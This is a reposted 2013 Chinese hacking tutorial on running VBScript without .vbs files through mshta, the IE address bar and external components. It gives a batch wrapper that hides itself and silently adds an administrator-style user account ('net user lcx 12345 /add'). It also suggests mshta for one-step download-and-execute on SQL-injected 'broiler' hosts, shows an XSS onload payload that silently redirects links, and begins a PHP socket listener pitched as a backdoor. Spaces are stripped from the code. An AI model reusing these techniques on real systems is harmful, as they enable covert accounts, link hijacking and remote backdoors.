快速业务通道

非常棒的lcx写的非常规运行vbs

作者 佚名 来源 ASP编程 浏览 发布时间 2013-07-09
这个组件在xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码:●CreateObject("SAPI.SpVoice").Speak"ILOVEYOU"●,保存成vbs后缀后双击就会听到英语的我爱你了。但随之而来我们讲到另一个问题,不保存成vbs或vbe后缀如何运行vbs代码。

一、用mshta来运行vbs
hta这种类型的文件运行后也是系统权限,其调用宿主就是mshta.exe。我们在cmd下运行这样一行代码:●mshtavbscript:createobject("sapi.spvoice").speak("ILOVEYOU.")(window.close)●,也会听到同样的发音。这行代码的意思类似是临时生成一个hta文件,然后运行里边的vbs代码,再调用window.close将运行窗口关掉。整个运行过程是看不到hta窗口的。这种运行方式你会想到什么?最少我是想到了两个。一个是批处理的隐藏运行,基本代码如下:

@echooff
if"%1"=="h"gotobegin
mshtavbscript:createobject("wscript.shell").run("%~nx0h",0)(window.close)&&exit
:begin
rem下边开始写批处代码了
netuserlcx12345/add

这个代码只能双击运行,运行过程中你看不到具体的批处理运行流程的。第二个我想的是注射过程中的用途。网上有篇流传很广的文章《mssql注射中多次调用参数导致多次echo的解决方法》,中心思想是将vbs语句用冒号连接起来然后用echo命令一次写入到被注入的肉鸡上,然后再调用这个vbs来下载文件。如果调用mshta执行的话,下载、执行一次就ok了。不过在命令行下用mshta后边直接跟vbs代码有个难处理的问题是空格,不过这个好解决用execute将vbs代码放在括号里就ok了,这个读者可以亲自去试一下了,相信我不难的。

二、用ie地址栏运行vbs
很多人会用ie地址栏运行js,其实vbs一样是可以的,我们随便打开一个网站,在地址栏上输入:vbscript:msgbox(Document.links.length)后回车,就会看到当前页面有多少个连接了。用document.links(i).href这句的话,将i换成不同的自然数好比0、1、2、3等就会分别显示出不同的链接地址。这部份内容其实是涉及到dhtml的内容了。我们来看一个最简单的示例代码:

<ahref=http://www.sohu.com>www.sohu.com</a>
<ahref=http://www.baidu.com>www.baidu.com</a>

这是两个链接,保存成网页后点击就会跳转到不同的页面。如果这个页面有跨站,我想搞下破坏,让用户点击www.sohu.com却跑到我指定的页面上能做到吗?其实可以的,只要加一行语句就可以了,代码是:●<bodyonload=''vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"''>●。这样的话用户再点击sohu其实会跑到google上去了,原来页面的版式却丝毫没有破坏。同样的dhtml元素还有document.links(i).href、document.images(i).src、document.forms(i).action等等,跨站改变其动态元素是很好玩的。

三、调用外部组件来运行vbs
vbs本身功能毕竟有限,但是却可以很好的与外部交互。要是用vbs来模拟nc发包的话,就要调用vb组件了。关于VBS如何成功调用MSWinsock.Winsock,zzzevazzz说的很清楚了。就是下载Winsock.ocs注册,和VB6控件的授权密钥的.reg导入注册表。两个文件可以在http://zzzevazzz.bokee.com/inc/vb6controls.rar这里下载。前不久学了一段时间php,网上看到一个php的监听程序,可以用它来做一个后门,s端s.php代码如下:

<?
//设置一些基本的变量
$host="192.168.8.100";
$port=12345;
//设置超时时间
set_time_limit(0);
//创建一个Socket
$socket=socket_create(AF_INET,SOCK_STREAM,0)ordie("Couldnotcreate
socket\n");
//绑定Socket到端口
$result=socket_bind($socket,$host,$port)ordie("Couldnotbindto
socket\n");

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号